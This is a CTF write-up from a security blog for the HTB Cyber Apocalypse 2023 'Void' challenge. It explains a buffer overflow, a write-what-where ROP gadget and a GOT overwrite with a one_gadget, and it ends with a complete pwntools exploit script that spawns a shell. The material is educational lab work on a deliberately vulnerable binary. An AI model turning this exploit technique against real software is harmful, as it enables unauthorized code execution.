Casual McDonald's Employee Scriptorium
BlogMemesGitHubAbout
  • root@JesusCries
  • ⛩️Red Teaming
    • Methodology
    • Red Team Infrastructure
    • Initial Access
    • Reconnaissance
    • Lateral Movement
    • Post-Exploitation
      • Credentials Dumping
    • Persistence
    • Evasion
      • Memory Scanner
      • Antimalware Scan Interface (AMSI)
      • Event Tracing for Windows (ETW)
      • Attack Surface Reduction (ASR)
      • Microsoft Windows Defender Application Control (WDAC)
      • EDR Evasion
    • Offensive Development
      • Process Injection & Shellcode Loader
      • Portable Executable (PE) Loader
      • User Defined Reflective Loader
      • Beacon Object Files
    • Command & Control (C2)
      • Cobalt Strike
      • Havoc
      • Mythic
      • Sliver
    • Miscellaneous
      • Interesting Read
      • Certification Reviews
        • Certified Red Team Lead (CRTL)
  • 🧊Active Directory & Pentest
    • Check List
  • 🚩CTF Writeups
    • Reverse Engineering
      • Wargames.MY 2024: World 3
      • Wargames.MY 2023: Defeat the boss!
      • ACS 2023: Licrackense Pt I
      • ACS 2023: babyrev
      • ACS 2023: expr
      • ACS 2023: rustarm
      • ACS 2023: Maze
      • SiberSiaga 2023: Obstacles
      • SiberSiaga 2023: Packed
      • SiberSiaga 2023: Malbot
      • SiberSiaga 2023: Vacine
      • ABOH 2023: MetalPipe
      • ABOH 2023: Grape
      • iCTF 2023: RemoteC4
    • Binary Exploitation
      • HTB Cyber Apocalypse 2024: SoundOfSilence
      • LACTF 2024: pizza
      • ACS 2023: Licrackense Pt II
      • ACS 2023: Shellcoding Test
      • ACS 2023: Coding Test
      • ACS 2023: register
      • Wargames.MY 2023: Pak Mat Burger
      • SiberSiaga 2023: Password Generator
      • NahamCON CTF 2023: nahmnahmnahm
      • NahamCON CTF 2023: Weird Cookie
      • TJCTF 2023: shelly
      • TJCTF 2023: formatter
      • ångstromCTF 2023: gaga2
      • ångstromCTF 2023: leek
      • Space Heroes 2023: Rope Dancer
      • corCTF 2022: babypwn
      • corCTF 2021: Cshell
      • HTB Cyber Apocalypse 2023: Void
      • HTB Cyber Santa CTF 2021: minimelfistic
      • HTB Challenge: pwnshop
  • 🤡Clown Chronicles
    • About Me
    • Blogs
      • How to Win A CTF by Overcomplicating Things
      • Exploring Dynamic Invocation for Process Injection in C# and Rust
    • Projects
    • Memes
    • Others
Powered by GitBook
On this page
  • TL;DR
  • Basic File Checks
  • Static Code Analysis
  • ret2dlresolve
  • write-what-where
  • One Gadget
  • Solution
  1. CTF Writeups
  2. Binary Exploitation

HTB Cyber Apocalypse 2023: Void

The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.

PreviouscorCTF 2021: CshellNextHTB Cyber Santa CTF 2021: minimelfistic

Last updated 1 year ago

TL;DR

Simple GOT overwrite with one_gadget via a write-what-where gadget.

Basic File Checks

Void is a simple binary that takes in user input and terminates right after that.

The binary does not come with a canary and PIE, meaning we would require only a LIBC info leak if we were to perform an ROP-based attack.

On the other hand, Partial RELRO indicates that we may be able to overwrite the Global Offset Table (GOT). However, there is only a single entry of read@GLIBC in the GOT, and nothing interesting like puts() or write() that we can use to leak the LIBC address.

Static Code Analysis

The binary has an obvious buffer overflow in the vuln function. But other than that, the binary is very minimal, containing only a read() function, and nothing else; not even a ret2win function. This is a very typical textbook scenario for ret2dlresolve attack.

void vuln(void)

{
  undefined local_48 [64];
  
  read(0,local_48,200);
  return;
}

ret2dlresolve

write-what-where

Inspecting the available ROP gadgets shows that there is a write-what-where gadget that is well-known in GCC-compiled binaries. If we can control both ebx and rbp values, we can leverage this gadget to overwrite the GOT.

NOTE: Ropper uses the Intel-syntax flavor, so ebx corresponds to WHAT; whereas rbp corresponds to WHERE. At the same time, rbp needs to account for the -0x48.

Ropper limits the maximum count of instructions in a gadget to 6 by default. Turns out there's a better gadget to pop all 6 registers at once altogether. This option can be overridden via the --inst-count flag.

One Gadget

Alternatively, we can also overwrite the GOT with a one_gadget. We can satisfy all the constraints for the first one_gadget since we have the pop r12, pop r13, pop r14, pop r15 gadget at our disposal as well.

With ASLR disabled, we can calculate the actual address of the one_gadget by adding its offset to the base address of LIBC.

Solution

solve.py
#!/usr/bin/env python3

from pwn import *

exe = ELF("./void_patched")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
ld = ELF("./ld-2.31.so")

context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)

    return r

def main():
    r = conn()

    pop_rbp = 0x000000000040110d
    pop_rbx = 0x0000000000401140
    write_what_where = 0x000000000040114e   # mov qword ptr [rbp - 0x48], rbx; ret;
    pop_r12_r13_r14_r15 = 0x000000000040112b
    one_gadget = libc.address + 0xe3afe

    # 0xe3afe execve("/bin/sh", r15, r12)
    # constraints:
    #   [r15] == NULL || r15 == NULL
    #   [r12] == NULL || r12 == NULL

    # vmmap: libc base address = 0x7ffff7dd5000
    # gdb: x 0x7ffff7dd5000 + 0xe3afe = 0x7ffff7eb8afe

    read_plt = exe.plt['read']
    read_got = exe.got['read']

    payload = b'A'*72
    payload += p64(pop_rbx) + p64(one_gadget)
    payload += p64(pop_rbp) + p64(read_got+0x48) # rbp needs to account for the -0x48
    payload += p64(pop_r12_r13_r14_r15) + p64(0)*4
    payload += p64(write_what_where) # trigger the write-what-where gadget to overwrite GOT
    payload += p64(read_plt) # trigger the fake read(), which is now the one_gadget
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

Flag: HTB{r3s0lv3_th3_d4rkn355}

Since the binary is a 64-bit program, there are known issues with exploiting ret2dlresolve with huge page sizes as described in this writeup.

Luckily for us, pop rbp and pop rbx are both present in the binary as well. This means that we can now overwrite the read@GLIBC entry in the GOT with something like system() and pop a shell via /bin/sh as the same as this .

🚩
redpwnCTF 2021
writeup